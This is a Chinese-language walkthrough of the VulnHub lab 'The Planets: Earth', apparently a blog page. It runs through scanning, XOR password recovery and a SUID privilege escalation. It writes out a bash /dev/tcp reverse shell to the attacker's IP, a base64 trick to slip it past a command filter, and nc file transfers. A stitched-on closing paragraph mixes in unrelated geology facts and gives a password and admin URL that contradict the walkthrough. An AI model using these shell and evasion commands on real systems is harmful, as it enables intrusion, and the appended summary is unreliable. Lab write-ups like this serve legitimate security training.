【vulnhub】the-planets-earth

靶场链接https://www.vulnhub.com/entry/the-planets-earth,755/

  • Name: The Planets: Earth

  • Date release: 2 Nov 2021

靶机下载后,成功导入vm

kali网络配置:NAT

靶机网络配置:NAT

扫描ip地址和mac地址

arp-scan -l

kali主机ip:192.168.241.129

靶机主机ip:192.168.241.128

nmap扫描靶机端口

nmap -T4 -sV -p- -A 192.168.241.128

发现22,80,443端口,还有重要信息DNS:earth.local DNS:terratest.earth.local

修改/etc/hosts文件,添加

192.168.241.128 earth.local
192.168.241.128 terratest.earth.local

登录https://earth.localhttps://terratest.earth.local

发现两个网址可以打开。

dirb扫描https://earth.localhttps://terratest.earth.local

dirb https://earth.local
dirb https://terratest.earth.local

发现一个登录页面和robot.txt

尝试/testingnotes.*,最终发现.txt后缀可以成功进入

以上信息总结:

1.使用XOR运算

2.testdata.txt文件的内容参与过计算

3.terra是用户名

使用大佬的CyberChef,XOR运算得到循环的密码:earthclimatechangebad4humansearth

用户名terra,密码earthclimatechangebad4humansearth,成功登录,发现是命令台,尝试ls命令

官网提示:There are two flags on the box: a user and root flag which include an md5 hash.

所以系统里先寻找下flag文件,成功找到/var/earth_web/user_flag.txt

find / -name "*flag*"

接下来尝试反弹shell

kali先监听端口:nc -l -p 8888

靶机在网站中输入: bash -i &>/dev/tcp/192.168.241.129/8888 <&1

bash -i &>/dev/tcp/192.168.241.129/8888 <&1

发现被拒绝,尝试将上bash -i &>/dev/tcp/192.168.241.129/8888 <&1转为进行base64编码

echo "bash -i &>/dev/tcp/192.168.241.129/8888 <&1" | base64
echo YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMjQxLjEyOS84ODg4IDwmMQo= | base64 -d | bash

成功反弹shell,接下来就是提权了

尝试查看suid权限的文件,发现reset_root可能是重置密码文件

但尝试运行不了,gg

由于靶机中没有strace,把这个文件传到kali中

kali:nc -l -p 1234 > reset_root

靶机:nc 192.168.241.129 1234 > /usr/bin/reset_root

使用strace看看有什么问题

发现有三个文件目录没有,再去查查access函数作用,其中F_OK 值为0,判断文件是否存在,尝试在靶机中添加这个三个文件夹

再次运行密码成功重置为Earth

靶机尝试登录用户名root,密码Earth

成功登录,get flag

vulnhub靶场"planets"是一个信息搜集与利用的主机发现的靶场。你可以在找到更多关于该靶场的详细信息。 根据辐射测年估计和其他证据,地球形成于45亿年前。在地球历史的最初10亿年里,生命出现在海洋中,并开始影响地球的大气层和表面,导致厌氧生物和后来的需氧生物的扩散。一些地质证据表明,生命可能早在41亿年前就出现了。 如果你想登录vulnhub靶场"planets"的管理员界面,你可以使用用户名"terra"和密码"earthclimatechangebad4humans"登录https://earth.local/admin。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [vulnhub靶场——THE PLANETS:EARTH](https://blog.csdn.net/Czheisenberg/article/details/122900121)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [靶场练习第二天~vulnhub靶场之 THE PLANETS: EARTH](https://blog.csdn.net/qq_57976347/article/details/122695436)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值